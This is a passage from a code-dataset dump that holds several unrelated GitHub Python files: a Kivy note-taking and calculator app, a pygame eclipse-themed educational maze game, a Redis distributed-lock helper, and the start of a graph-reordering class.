self.add_widget(self.edit_one_button)\n\n self.add_widget(self.text_input_two)\n self.add_widget(self.save_two_button)\n self.add_widget(self.edit_two_button)\n\n self.add_widget(self.text_input_three)\n self.add_widget(self.save_three_button)\n self.add_widget(self.edit_three_button)\n\n self.add_widget(self.text_input_four)\n self.add_widget(self.save_four_button)\n self.add_widget(self.edit_four_button)\n\n#the learning notes class\nclass Learning_Notes_Screen(Screen):\n\n #method that save the learning notes to the file\n def save_learning_notes(self,title_one,title_two,title_three,notes_one,notes_two,notes_three,fileName_one,fileName_two,fileName_three):\n fob = open(fileName_one,'w')\n fob.write(title_one)\n fob.write(notes_one)\n fob.close()\n\n fob_two = open(fileName_two,'w')\n fob_two.write(title_two)\n fob_two.write(notes_two)\n fob_two.close()\n\n fob_three = open(fileName_three,'w')\n fob_three.write(title_three)\n fob_three.write(notes_three)\n fob_three.close()\n\n #method that reads the title of the notes from the file\n def open_title(self,fileName):\n first_line=\"\"\n with open(fileName) as f:\n first_line = f.readline()\n return first_line\n\n #method that reads the notes from the file\n def open_learning_notes(self,fileName):\n learn_notes= \"\"\n with open(fileName) as f:\n f.readline()\n for line in f:\n learn_notes += line\n return learn_notes\n\n\n #main method of the learning notes class\n def __init__(self, **args):\n Screen.__init__(self, **args)\n\n #basic label for learning notes\n self.label = Label(text=\"Learning Notes\", color=(1,0,0,1), font_size=(45),size_hint=(0.1,0.1), pos_hint={\"center_x\":0.5, \"center_y\":0.95})\n self.add_widget(self.label)\n\n #gets the value to the title and the learning notes from the files\n title_one = self.open_title('text_files/learning_notes_one.txt')\n title_two = self.open_title('text_files/learning_notes_two.txt')\n title_three = self.open_title('text_files/learning_notes_three.txt')\n\n explanation_one = self.open_learning_notes('text_files/learning_notes_one.txt')\n explanation_two = self.open_learning_notes('text_files/learning_notes_two.txt')\n explanation_three = self.open_learning_notes('text_files/learning_notes_three.txt')\n\n\n\n#---first textbox (capital letters)\n self.text_input_one= TextInput(text=title_one,pos_hint={\"center_x\":0.5,\"center_y\": 0.72},size_hint=(0.87,0.08),font_size=16.5)\n self.add_widget(self.text_input_one)\n#-- First explanation textbox\n self.text_explanation_one= TextInput(text=explanation_one,pos_hint={\"center_x\":0.5,\"center_y\": 0.60},size_hint=(0.87,0.15))\n self.add_widget(self.text_explanation_one)\n#---second textbox (capital letters)\n self.text_input_two= TextInput(text=title_two,pos_hint={\"center_x\":0.5,\"center_y\": 0.47},size_hint=(0.87,0.08))\n self.add_widget(self.text_input_two)\n#-- second explanation textbox\n self.text_explanation_two= TextInput(text=explanation_two,pos_hint={\"center_x\":0.5,\"center_y\": 0.35},size_hint=(0.87,0.15))\n self.add_widget(self.text_explanation_two)\n#---third textbox (capital letters)\n self.text_input_three= TextInput(text=title_three,pos_hint={\"center_x\":0.5,\"center_y\": 0.22},size_hint=(0.87,0.08))\n self.add_widget(self.text_input_three)\n#-- third explanation textbox\n self.text_explanation_three= TextInput(text=explanation_three,pos_hint={\"center_x\":0.5,\"center_y\": 0.1},size_hint=(0.87,0.15))\n self.add_widget(self.text_explanation_three)\n# button to save all the info\n self.button= Button(text=\"Save All\", size_hint=(0.1,0.1), pos_hint={\"center_x\":0.885, \"center_y\":0.88},on_press=lambda x:self.save_learning_notes(self.text_input_one.text,self.text_input_two.text,self.text_input_three.text,self.text_explanation_one.text,self.text_explanation_two.text,self.text_explanation_three.text,'text_files/learning_notes_one.txt','text_files/learning_notes_two.txt','text_files/learning_notes_three.txt'))\n self.add_widget(self.button)\n\n#this is the reminders screen class\nclass Reminders_Screen(Screen):\n\n #the method to save all the reminders in the files\n def save_reminders(self,reminder_one,reminder_two,reminder_three,reminder_four,fileName_one,fileName_two,fileName_three,fileName_four):\n fob = open(fileName_one,'w')\n fob.write(reminder_one)\n fob.close()\n\n fob_two = open(fileName_two,'w')\n fob_two.write(reminder_two)\n fob_two.close()\n\n fob_three = open(fileName_three,'w')\n fob_three.write(reminder_three)\n fob_three.close()\n\n fob_four = open(fileName_four,'w')\n fob_four.write(reminder_four)\n fob_four.close()\n\n #the method to save all the dates in the files\n def save_date(self,date,fileName):\n fob = open(fileName,'w')\n fob.write(date)\n fob.close()\n\n #the method to read all the dates from the files\n def open_date(self,fileName):\n date = \"\"\n fob = open(fileName,'r')\n for line in fob.readlines():\n date += line\n return date\n\n #the method to read all the reminders from the files\n def open_reminder(self,fileName):\n reminder = \"\"\n fob = open(fileName,'r')\n for line in fob.readlines():\n reminder += line\n return reminder\n\n #the method to add the date\n def add_date(self,input,label,fileName):\n try:\n number_days =float(input.text)\n date_string =str(datetime.today()+timedelta(days=number_days))\n label.text = date_string[0:10]\n self.save_date(date_string[0:10],fileName)\n except ValueError as err:\n label.text = \"Invalid value!\"\n\n\n #the main method\n def __init__(self, **args):\n Screen.__init__(self, **args)\n\n #giving all the reminder and the dates values\n reminder_one = self.open_reminder('text_files/reminder_one.txt')\n reminder_two = self.open_reminder('text_files/reminder_two.txt')\n reminder_three = self.open_reminder('text_files/reminder_three.txt')\n reminder_four = self.open_reminder('text_files/reminder_four.txt')\n\n date_one = self.open_date('text_files/date_one.txt')\n date_two = self.open_date('text_files/date_two.txt')\n date_three = self.open_date('text_files/date_three.txt')\n date_four = self.open_date('text_files/date_four.txt')\n\n #Set reminder label\n self.label = Label(text=\"Set Reminders\", color=(1,0,0,1), font_size=(45),size_hint=(0.1,0.1), pos_hint={\"center_x\":0.5, \"center_y\":0.95})\n\n #adding all elements for the first reminder\n self.text_input_one= TextInput(text=reminder_one,pos_hint={\"center_x\":0.37,\"center_y\": 0.7},size_hint=(0.6,0.1))\n self.date_input_one = TextInput(pos_hint={\"center_x\":0.75,\"center_y\": 0.7},size_hint=(0.1,0.1))\n self.date_label_one = Label(text=date_one,pos_hint={\"center_x\":0.92,\"center_y\": 0.7},size_hint=(0.1,0.1))\n self.add_widget(self.date_input_one)\n self.add_widget(self.date_label_one)\n self.add_widget(self.text_input_one)\n self.set_date_one = Button(text=\"set\",pos_hint={\"center_x\":0.82,\"center_y\": 0.7},size_hint=(0.05,0.1),on_press=lambda x:self.add_date(self.date_input_one,self.date_label_one,'text_files/date_one.txt'))\n self.add_widget(self.set_date_one)\n\n #adding all elements for the second reminder\n self.text_input_two= TextInput(text=reminder_two,pos_hint={\"center_x\":0.37,\"center_y\": 0.5},size_hint=(0.6,0.1))\n self.date_input_two = TextInput(pos_hint={\"center_x\":0.75,\"center_y\": 0.5},size_hint=(0.1,0.1))\n self.date_label_two = Label(text=date_two,pos_hint={\"center_x\":0.92,\"center_y\": 0.5},size_hint=(0.1,0.1))\n self.add_widget(self.date_input_two)\n self.add_widget(self.date_label_two)\n self.add_widget(self.text_input_two)\n self.set_date_two = Button(text=\"set\",pos_hint={\"center_x\":0.82,\"center_y\": 0.5},size_hint=(0.05,0.1),on_press=lambda x:self.add_date(self.date_input_two,self.date_label_two,'text_files/date_two.txt'))\n self.add_widget(self.set_date_two)\n\n #adding all elements for the third reminder\n self.text_input_three= TextInput(text=reminder_three,pos_hint={\"center_x\":0.37,\"center_y\": 0.3},size_hint=(0.6,0.1))\n self.date_input_three = TextInput(pos_hint={\"center_x\":0.75,\"center_y\": 0.3},size_hint=(0.1,0.1))\n self.date_label_three = Label(text=date_three,pos_hint={\"center_x\":0.92,\"center_y\": 0.3},size_hint=(0.1,0.1))\n self.add_widget(self.date_input_three)\n self.add_widget(self.date_label_three)\n self.add_widget(self.text_input_three)\n self.set_date_three = Button(text=\"set\",pos_hint={\"center_x\":0.82,\"center_y\": 0.3},size_hint=(0.05,0.1),on_press=lambda x:self.add_date(self.date_input_three,self.date_label_three,'text_files/date_three.txt'))\n self.add_widget(self.set_date_three)\n\n #adding all elements for the forth reminder\n self.text_input_four= TextInput(text=reminder_four,pos_hint={\"center_x\":0.37,\"center_y\": 0.1},size_hint=(0.6,0.1))\n self.date_input_four = TextInput(pos_hint={\"center_x\":0.75,\"center_y\": 0.1},size_hint=(0.1,0.1))\n self.date_label_four = Label(text=date_four,pos_hint={\"center_x\":0.92,\"center_y\": 0.1},size_hint=(0.1,0.1))\n self.add_widget(self.date_input_four)\n self.add_widget(self.date_label_four)\n self.add_widget(self.text_input_four)\n self.set_date_four = Button(text=\"set\",pos_hint={\"center_x\":0.82,\"center_y\": 0.1},size_hint=(0.05,0.1),on_press=lambda x:self.add_date(self.date_input_four,self.date_label_four,'text_files/date_four.txt'))\n self.add_widget(self.set_date_four)\n\n #adding the save all button\n self.button= Button(text=\"Save All\", size_hint=(0.1,0.1), pos_hint={\"center_x\":0.9, \"center_y\":0.88},on_press=lambda x:self.save_reminders(self.text_input_one.text,self.text_input_two.text,self.text_input_three.text,self.text_input_four.text,'text_files/reminder_one.txt','text_files/reminder_two.txt','text_files/reminder_three.txt','text_files/reminder_four.txt'))\n self.add_widget(self.button)\n self.add_widget(self.label)\n\n\n#The goals class\nclass Goals_Screen(Screen):\n\n #method to save the goals in the files\n def save_goals(self,goal_one,goal_two,goal_three,goal_four,fileName_one,fileName_two,fileName_three,fileName_four):\n fob = open(fileName_one,'w')\n fob.write(goal_one)\n fob.close()\n\n fob_two = open(fileName_two,'w')\n fob_two.write(goal_two)\n fob_two.close()\n\n fob_three = open(fileName_three,'w')\n fob_three.write(goal_three)\n fob_three.close()\n\n fob_four = open(fileName_four,'w')\n fob_four.write(goal_four)\n fob_four.close()\n\n #method to get the goals from the files\n def open_goal(self,fileName):\n goal = \"\"\n fob = open(fileName,'r')\n for line in fob.readlines():\n goal += line\n return goal\n\n #method to add the goal progress\n def goal_progress(self,checkbox):\n if checkbox.active:\n self.progressbar.value += 25\n else:\n self.progressbar.value -= 25\n\n if self.progressbar.value == 100:\n self.label.color = (0,1,0,1)\n self.label.font_size = 30\n self.label.text = \" Congratulations! Now go set new goals!\"\n else:\n self.label.color=(1,0,0,1)\n self.label.font_size=(45)\n self.label.text = \"Set your Goals\"\n\n #main method of the goals class\n def __init__(self, **args):\n Screen.__init__(self, **args)\n #declaring the goals and giving them values\n goal_one = self.open_goal('text_files/goal_one.txt')\n goal_two = self.open_goal('text_files/goal_two.txt')\n goal_three = self.open_goal('text_files/goal_three.txt')\n goal_four = self.open_goal('text_files/goal_four.txt')\n\n\n\n #adding the progressbar\n self.progressbar = ProgressBar(value=0, max=100,size_hint=(0.5,0.1),pos_hint={\"center_x\":0.5,\"center_y\": 0.85})\n self.add_widget(self.progressbar)\n #label set your goals\n self.label = Label(text=\"Set your Goals\", color=(1,0,0,1), font_size=(45),size_hint=(0.1,0.1), pos_hint={\"center_x\":0.5, \"center_y\":0.95})\n\n #goal input one\n self.text_input_one= TextInput(text=goal_one,pos_hint={\"center_x\":0.4,\"center_y\": 0.7},size_hint=(0.7,0.1))\n self.checkbox_one = CheckBox(pos_hint={\"center_x\":0.9,\"center_y\": 0.7},size_hint=(0.1,0.1),on_press=lambda x:self.goal_progress(self.checkbox_one))\n self.add_widget(self.text_input_one)\n self.add_widget(self.checkbox_one)\n\n #goal input two\n self.text_input_two= TextInput(text=goal_two,pos_hint={\"center_x\":0.4,\"center_y\": 0.5},size_hint=(0.7,0.1))\n self.checkbox_two = CheckBox(pos_hint={\"center_x\":0.9,\"center_y\": 0.5},size_hint=(0.1,0.1),on_press=lambda x:self.goal_progress(self.checkbox_two))\n self.add_widget(self.text_input_two)\n self.add_widget(self.checkbox_two)\n\n #goal input three\n self.text_input_three= TextInput(text=goal_three,pos_hint={\"center_x\":0.4,\"center_y\": 0.3},size_hint=(0.7,0.1))\n self.checkbox_three = CheckBox(pos_hint={\"center_x\":0.9,\"center_y\": 0.3},size_hint=(0.1,0.1),on_press=lambda x:self.goal_progress(self.checkbox_three))\n self.add_widget(self.text_input_three)\n self.add_widget(self.checkbox_three)\n\n #goal input four\n self.text_input_four= TextInput(text=goal_four,pos_hint={\"center_x\":0.4,\"center_y\": 0.1},size_hint=(0.7,0.1))\n self.checkbox_four = CheckBox(pos_hint={\"center_x\":0.9,\"center_y\": 0.1},size_hint=(0.1,0.1),on_press=lambda x:self.goal_progress(self.checkbox_four))\n self.add_widget(self.text_input_four)\n self.add_widget(self.checkbox_four)\n\n self.add_widget(self.label)\n\n #button to save all the goals\n self.button= Button(text=\"Save All\", size_hint=(0.1,0.1), pos_hint={\"center_x\":0.9, \"center_y\":0.88},on_press=lambda x:self.save_goals(self.text_input_one.text,self.text_input_two.text,self.text_input_three.text,self.text_input_four.text,'text_files/goal_one.txt','text_files/goal_two.txt','text_files/goal_three.txt','text_files/goal_four.txt'))\n self.add_widget(self.button)\n\n\n#The other notes class\nclass Other_Notes_Screen(Screen):\n\n #method to save the other notes in the files\n def save_other_notes(self,other_notes,fileName):\n fob = open(fileName,'w')\n fob.write(other_notes)\n fob.close()\n\n #method to get the other notes from the files\n def open_other_notes(self,fileName):\n notes = \"\"\n fob = open(fileName,'r')\n for line in fob.readlines():\n notes += line\n return notes\n #main method of the other notes\n def __init__(self, **args):\n Screen.__init__(self, **args)\n\n #give value to other notes\n notes= self.open_other_notes('text_files/other_notes.txt')\n\n #all other notes inputs\n self.textLabel = Label(text=\"Other Notes\", color=(1,0,0,1), font_size=(45),size_hint=(0.1,0.1), pos_hint={\"center_x\":0.53, \"center_y\":0.9})\n self.text_input= TextInput(text=notes,pos_hint={\"center_x\":0.515,\"center_y\": 0.4},size_hint=(0.9,0.8),scroll_y=100)\n self.add_widget(self.textLabel)\n self.add_widget(self.text_input)\n\n #the button to save all other notes\n self.button= Button(text=\"Save All\", size_hint=(0.1,0.1), pos_hint={\"center_x\":0.91, \"center_y\":0.88},on_press=lambda x:self.save_other_notes(self.text_input.text,'text_files/other_notes.txt'))\n self.add_widget(self.button)\n\n\n\n#The calculator class\nclass Calculator_Screen(Screen):\n\n #main method of calculator class\n def __init__(self, **args):\n number_result = 0\n Screen.__init__(self, **args)\n\n #add labels to the calculator class\n self.label = Label(text=\"Calculator\", color=(1,0,0,1), font_size=(45),size_hint=(0.1,0.1), pos_hint={\"center_x\":0.55, \"center_y\":0.95})\n self.labelText = Label(text=str(number_result), color=(1,0,0,1), font_size=(45),size_hint=(0.1,0.1), pos_hint={\"center_x\":0.55, \"center_y\":0.1})\n self.labelSign = Label(text= \"Sign\", color=(1,1,1,1), font_size=(16),size_hint=(0.1,0.1), pos_hint={\"center_x\":0.55, \"center_y\":0.835})\n self.add_widget(self.label)\n self.add_widget(self.labelText)\n self.add_widget(self.labelSign)\n\n #add method of the class\n def adding(self, number_one,number_two):\n try:\n number_result = float(number_one) + float(number_two)\n self.labelText.text = str(number_result)\n self.labelSign.text = \"+\"\n print(number_result)\n except ValueError as err:\n self.labelText.text = \"Add correct values to continue!\"\n print(\"Please add both values to continue\")\n\n #subtract method of the class\n def subtracting(self,number_one,number_two):\n try:\n number_result = float(number_one) - float(number_two)\n self.labelText.text = str(number_result)\n self.labelSign.text = \"-\"\n print(number_result)\n except ValueError as err:\n self.labelText.text = \"Add correct values to continue!\"\n print(\"Please add both values to continue\")\n\n #multiply method of the class\n def multiplication(self,number_one,number_two):\n try:\n number_result = float(number_one) * float(number_two)\n self.labelText.text = str(number_result)\n self.labelSign.text = \"*\"\n print(number_result)\n except ValueError as err:\n self.labelText.text = \"Add correct values to continue!\"\n print(\"Please add both values to continue\")\n\n #divide method of the class\n def division(self,number_one,number_two):\n try:\n number_result = float(number_one) / float(number_two)\n self.labelText.text = str(number_result)\n self.labelSign.text = \"/\"\n print(number_result)\n except ValueError as err:\n self.labelText.text = \"Add correct values to continue!\"\n print(\"Please add both values to continue\")\n except ZeroDivisionError as er:\n self.labelText.text = \"No Zero Division\"\n #power method of the class\n def power(self,number_one,number_two):\n try:\n number_result = float(number_one) ** float(number_two)\n self.labelText.text = str(number_result)\n self.labelSign.text = \"^\"\n print(number_result)\n except ValueError as err:\n self.labelText.text = \"Add correct values to continue!\"\n print(\"Please add both values to continue\")\n\n #inverse power method of the class\n def powerInverse(self,number_one,number_two):\n try:\n number_result = float(number_two) ** (1/float(number_one))\n self.labelText.text = str(number_result)\n self.labelSign.text = \"√\"\n print(number_result)\n except ValueError as err:\n self.labelText.text = \"Add correct values to continue!\"\n print(\"Please add both values to continue\")\n except ZeroDivisionError as er:\n self.labelText.text = \"No Zero Division\"\n# Create the screen manager\nsm = ScreenManager()\nsm.add_widget(Main_Screen(name='main_screen'))\nsm.add_widget(New_Ideas_Screen(name='new_ideas_screen'))\nsm.add_widget(Learning_Notes_Screen(name='learning_notes_screen'))\nsm.add_widget(Reminders_Screen(name='reminders_screen'))\nsm.add_widget(Goals_Screen(name='goals_screen'))\nsm.add_widget(Other_Notes_Screen(name='other_notes_screen'))\nsm.add_widget(Calculator_Screen(name='calculator_screen'))\n\n#the main class to build everything\nclass TestApp(App):\n\n def build(self):\n return sm\n\n#run the app\nif __name__ == '__main__':\n TestApp().run()\n","repo_name":"Klajdigjeci/gpad","sub_path":"G_PAD.py","file_name":"G_PAD.py","file_ext":"py","file_size_in_byte":32517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"34242757442","text":"import pygame\nimport sys\n\n# Initialize Pygame\npygame.init()\n\n# Constants\nWINDOW_SIZE = (1200, 600)\n\n# Create the game window\nscreen = pygame.display.set_mode(WINDOW_SIZE)\npygame.display.set_caption(\"Eclipse Education Game\")\n\n# Load the PNG background image\nbackground_image = pygame.image.load(\"background.png\")\n\n# Get the rect of the loaded background image\nbackground_rect = background_image.get_rect()\n\n# Load the \"play.png\" image\nplay_image = pygame.image.load(\"play.png\")\n\n# Get the rect of the loaded \"play.png\" image\nplay_rect = play_image.get_rect()\n\n# Calculate the center position of the window\nwindow_center = (WINDOW_SIZE[0] // 2, WINDOW_SIZE[1] // 2)\n\n# Set the center of the \"play.png\" image to match the center of the window\nplay_rect.center = window_center\n\n# Animation variables\nclicked = False\nscale_factor = 1.0\n\n# Level templates\nLEVEL1 = pygame.Surface(WINDOW_SIZE) # Create an empty template for LEVEL1\nLEVEL1.fill((255, 255, 255)) # Fill LEVEL1 with a white background\n\n# Load the \"background2.png\" image for LEVEL1\nbackground2_image = pygame.image.load(\"background2.png\")\nbackground2_image = pygame.transform.scale(background2_image, WINDOW_SIZE)\nLEVEL1.blit(background2_image, (0, 0)) # Set the background image for LEVEL1\n\n# Load and position the Sun, Earth, and Moon images\nsun_image = pygame.image.load(\"sun.png\")\nearth_image = pygame.image.load(\"earth.png\")\nmoon_image = pygame.image.load(\"moon.png\")\n\n# Calculate the new sizes (1/2 of the original sizes) for Earth and Moon\nnew_earth_size = (earth_image.get_width() // 2, earth_image.get_height() // 2)\nnew_moon_size = (moon_image.get_width() // 2, moon_image.get_height() // 2)\n\n# Scale the Earth and Moon images to the new sizes\nearth_image = pygame.transform.scale(earth_image, new_earth_size)\nmoon_image = pygame.transform.scale(moon_image, new_moon_size)\n\n# Calculate the new size (slightly larger) for the Sun\nnew_sun_size = (int(sun_image.get_width() * 1.1), int(sun_image.get_height() * 1.1))\n\n# Scale the Sun image to the new size\nsun_image = pygame.transform.scale(sun_image, new_sun_size)\n\n# Calculate the positions with increased spacing (x2)\nsun_rect = sun_image.get_rect(center=(window_center[0] - 400, window_center[1]))\nearth_rect = earth_image.get_rect(center=window_center)\nmoon_rect = moon_image.get_rect(center=(window_center[0] + 400, window_center[1]))\n\n# Load font for text rendering\nfont = pygame.font.Font(None, 36)\n\ncurrent_template = \"MENU\" # Start with the MENU template\n\n# Maze template\nmaze_template = pygame.Surface(WINDOW_SIZE)\nmaze_background_image = pygame.image.load(\"mazebackground.png\")\nmaze_template.blit(maze_background_image, (0, 0))\n\n# Main game loop\nrunning = True\nwhile running:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n running = False\n elif event.type == pygame.MOUSEBUTTONDOWN and event.button == 1:\n if current_template == \"MENU\" and play_rect.collidepoint(event.pos):\n clicked = True\n current_template = \"LEVEL1\" # Transition to LEVEL1\n \n elif current_template == \"LEVEL1\" and sun_rect.collidepoint(event.pos):\n # Add your action function for the Sun button here\n # For example, you can print a message when the Sun is clicked:\n import pygame\n \n import random\n\n # Initialize Pygame\n pygame.init()\n\n # Constants\n WIDTH, HEIGHT = 400, 400\n WHITE = (255, 255, 255)\n BLACK = (0, 0, 0)\n RED = (255, 0, 0)\n GREEN = (0, 255, 0) # Green color for exit point\n LIGHT_BLUE = (173, 216, 230) # Light Blue color\n BLOCK_SIZE = 20\n\n # Create the screen\n screen = pygame.display.set_mode((WIDTH, HEIGHT))\n pygame.display.set_caption(\"Maze Game\")\n\n # Define maze dimensions\n maze_width = WIDTH // BLOCK_SIZE\n maze_height = HEIGHT // BLOCK_SIZE\n\n # Create a maze grid (0 for open path, 1 for wall)\n maze = [[1 for _ in range(maze_width)] for _ in range(maze_height)]\n\n # Randomly generate maze walls using a recursive algorithm\n def generate_maze(x, y):\n directions = [(1, 0), (-1, 0), (0, 1), (0, -1)]\n random.shuffle(directions)\n \n for dx, dy in directions:\n nx, ny = x + dx * 2, y + dy * 2\n \n if 0 <= nx < maze_width and 0 <= ny < maze_height and maze[ny][nx] == 1:\n maze[ny][nx] = 0\n maze[y + dy][x + dx] = 0\n generate_maze(nx, ny)\n\n generate_maze(1, 1) # Start maze generation from the top-left corner\n\n # Define entrance and exit points\n entrance_x, entrance_y = 0, 0\n exit_x, exit_y = maze_width - 1, maze_height - 1\n\n # Load the sun image and resize it to the size of the ball\n sun_image = pygame.image.load(\"sun.png\")\n sun_image = pygame.transform.scale(sun_image, (BLOCK_SIZE, BLOCK_SIZE))\n\n # Initialize player's position and dragging variables\n player_x, player_y = entrance_x, entrance_y\n dragging = False\n offset_x, offset_y = 0, 0\n\n # Define a list of letters to place in the maze\n letters = [\"E\", \"C\", \"L\", \"I\", \"P\", \"S\", \"E\"]\n\n # Store the positions of the letters in the maze\n letter_positions = {}\n\n # Place letters on random open path positions\n for letter in letters:\n placed = False\n while not placed:\n x, y = random.randint(0, maze_width - 1), random.randint(0, maze_height - 1)\n if maze[y][x] == 0 and (x, y) not in letter_positions.values():\n maze[y][x] = letter\n letter_positions[letter] = (x, y)\n placed = True\n\n # Function to check if a move is valid (within the open path)\n def is_valid_move(x, y):\n return 0 <= x < maze_width and 0 <= y < maze_height and maze[y][x] == 0\n\n # Function to check if there is a wall in the path between two points\n def is_path_clear(x1, y1, x2, y2):\n if x1 == x2: # Vertical movement\n min_y, max_y = min(y1, y2), max(y1, y2)\n for y in range(min_y + 1, max_y):\n if maze[y][x1] == 1:\n return False\n elif y1 == y2: # Horizontal movement\n min_x, max_x = min(x1, x2), max(x1, x2)\n for x in range(min_x + 1, max_x):\n if maze[y1][x] == 1:\n return False\n return True\n\n # Load the \"eclipse.png\" image for the message\n eclipse_message = pygame.image.load(\"eclipse.png\")\n\n # Load the \"next.png\" image for the next button\n next_button = pygame.image.load(\"next.png\")\n\n # Position of the \"eclipse\" message in the center of the maze\n eclipse_x = (WIDTH - eclipse_message.get_width()) // 2\n eclipse_y = (HEIGHT - eclipse_message.get_height()) // 2\n\n # Position of the \"next\" button\n next_x = (WIDTH - next_button.get_width()) // 2\n next_y = HEIGHT - next_button.get_height() - 20 # Position just above the bottom\n\n # Variable to track if the player has won\n won = False\n\n # Main game loop\n running = True\n while running:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n running = False\n \n if event.type == pygame.MOUSEBUTTONDOWN:\n if event.button == 1: # Left mouse button is clicked\n if not won:\n mouse_x, mouse_y = pygame.mouse.get_pos()\n if (player_x * BLOCK_SIZE <= mouse_x <= (player_x + 1) * BLOCK_SIZE and\n player_y * BLOCK_SIZE <= mouse_y <= (player_y + 1) * BLOCK_SIZE):\n dragging = True\n offset_x = mouse_x - (player_x * BLOCK_SIZE)\n offset_y = mouse_y - (player_y * BLOCK_SIZE)\n \n elif event.type == pygame.MOUSEBUTTONUP:\n if event.button == 1:\n dragging = False\n if (player_x, player_y) == (exit_x, exit_y):\n won = True\n\n if dragging and not won:\n mouse_x, mouse_y = pygame.mouse.get_pos()\n new_player_x = (mouse_x - offset_x) // BLOCK_SIZE\n new_player_y = (mouse_y - offset_y) // BLOCK_SIZE\n\n if is_valid_move(new_player_x, new_player_y) and is_path_clear(player_x, player_y, new_player_x, new_player_y):\n player_x, player_y = new_player_x, new_player_y\n\n screen.fill(WHITE)\n\n # Draw the maze\n for row in range(maze_height):\n for col in range(maze_width):\n if maze[row][col] == 1:\n pygame.draw.rect(screen, BLACK, (col * BLOCK_SIZE, row * BLOCK_SIZE, BLOCK_SIZE, BLOCK_SIZE))\n elif maze[row][col] != 0:\n font = pygame.font.Font(None, 36)\n text = font.render(maze[row][col], True, LIGHT_BLUE) # Use light blue color for letters\n screen.blit(text, (col * BLOCK_SIZE + 5, row * BLOCK_SIZE + 5))\n\n # Draw entrance and exit points\n pygame.draw.rect(screen, RED, (entrance_x * BLOCK_SIZE, entrance_y * BLOCK_SIZE, BLOCK_SIZE, BLOCK_SIZE))\n pygame.draw.rect(screen, GREEN, (exit_x * BLOCK_SIZE, exit_y * BLOCK_SIZE, BLOCK_SIZE, BLOCK_SIZE)) # Exit point in green\n\n # Draw the player (sun) image\n screen.blit(sun_image, (player_x * BLOCK_SIZE, player_y * BLOCK_SIZE))\n\n if won:\n # Draw the \"eclipse.png\" message\n screen.blit(eclipse_message, (eclipse_x, eclipse_y))\n \n # Draw the \"next\" button\n screen.blit(next_button, (next_x, next_y))\n\n pygame.display.update()\n\n # Quit Pygame\n pygame.quit()\n sys.exit()\n\n\n\n # Clear the screen\n screen.fill((0, 0, 0))\n\n if current_template == \"MENU\":\n # Draw the background image\n screen.blit(background_image, background_rect)\n\n # Check if the button is clicked\n if clicked:\n # Scale the button image slightly to create a simple animation effect\n scale_factor = 1.1\n else:\n scale_factor = 1.0\n\n # Resize and draw the \"play.png\" image with the animation effect\n play_scaled = pygame.transform.scale(play_image, (int(play_rect.width * scale_factor), int(play_rect.height * scale_factor)))\n play_scaled_rect = play_scaled.get_rect(center=window_center)\n screen.blit(play_scaled, play_scaled_rect)\n\n elif current_template == \"LEVEL1\":\n # Draw LEVEL1\n screen.blit(LEVEL1, (0, 0))\n\n # Draw the Sun, Earth, and Moon images with increased spacing (x2)\n screen.blit(sun_image, sun_rect.topleft)\n screen.blit(earth_image, earth_rect.topleft)\n screen.blit(moon_image, moon_rect.topleft)\n\n # Render and draw the text labels for levels in blue\n level1_label = font.render(\"Level 1\", True, (0, 0, 255)) # Blue color\n level2_label = font.render(\"Level 2\", True, (0, 0, 255)) # Blue color\n level3_label = font.render(\"Level 3\", True, (0, 0, 255)) # Blue color\n\n # Position the text labels under the respective objects\n level1_rect = level1_label.get_rect(center=(sun_rect.centerx, sun_rect.bottom + 10))\n level2_rect = level2_label.get_rect(center=(earth_rect.centerx, earth_rect.bottom + 10))\n level3_rect = level3_label.get_rect(center=(moon_rect.centerx, moon_rect.bottom + 10))\n\n # Draw the text labels\n screen.blit(level1_label, level1_rect)\n screen.blit(level2_label, level2_rect)\n screen.blit(level3_label, level3_rect)\n\n elif current_template == \"MAZE\":\n # Draw the maze template\n screen.blit(maze_template, (0, 0))\n\n # Update the display\n pygame.display.flip()\n\n# Quit Pygame\npygame.quit()\nsys.exit()\n","repo_name":"Charml/Explorerkid","sub_path":"untitled1.py","file_name":"untitled1.py","file_ext":"py","file_size_in_byte":13172,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"4415789962","text":"#! -*- coding: utf-8 -*-\n#\n# author: forcemain@163.com\n\nfrom __future__ import unicode_literals\n\n\nfrom logging import getLogger\nfrom redis.exceptions import LockError\n\n\nlogger = getLogger(__name__)\n\n\ndef distributed_lock(conn, func, name, **kwargs):\n try:\n with conn.lock(name, **kwargs):\n msg = '{} acquire `{}` lock({}) succ'.format(func.__name__, name, kwargs)\n logger.debug(msg)\n func()\n msg = '{} release `{}` lock({}) succ'.format(func.__name__, name, kwargs)\n logger.debug(msg)\n except LockError:\n msg = '{} waiting `{}` lock released'.format(func.__name__, name)\n logger.debug(msg)\n","repo_name":"namekox-org/namekox-redis","sub_path":"namekox_redis/core/dlock.py","file_name":"dlock.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"29194162748","text":"from .trace_indice import TraceIndice\nfrom .utils import NodeMgr\n\n\nclass ReorderGraph(object):\n \"\"\"\n Reorder node list and indice trace list\n \"\"\"\n\n def __init__(self, trace_indice: TraceIndice, node_mgr: NodeMgr) -> None:\n self.trace_indice = trace_indice\n self.node_mgr = node_mgr\n self.all_reorder_map = {i: i for i in range(len(self.node_mgr.get_node_list()))}\n\n def _get_reorder_map(self, chunk_info):\n reorder_map = {i: i for i in range(len(self.node_mgr.get_node_list()))}\n\n chunk_region_start = chunk_info[\"region\"][0]\n chunk_region_end = chunk_info[\"region\"][1]\n chunk_prepose_nodes = chunk_info[\"args\"][\"prepose_nodes\"]\n chunk_prepose_nodes_idx = [self.node_mgr.find_node_idx(i) for i in chunk_prepose_nodes]\n # put prepose nodes ahead\n for idx, n in enumerate(chunk_prepose_nodes):\n n_idx = chunk_prepose_nodes_idx[idx]\n reorder_map[n_idx] = chunk_region_start + idx\n # put other nodes after prepose nodes\n for n in self.node_mgr.get_node_slice_by_idx(chunk_region_start, chunk_region_end + 1):\n if n in chunk_prepose_nodes:\n continue\n n_idx = self.node_mgr.find_node_idx(n)\n pos = sum([n_idx < i for i in chunk_prepose_nodes_idx])\n reorder_map[n_idx] = n_idx + pos\n\n return reorder_map\n\n def _reorder_chunk_info(self, chunk_info, reorder_map):\n # update chunk info\n chunk_info[\"region\"] = (\n chunk_info[\"region\"][0] + 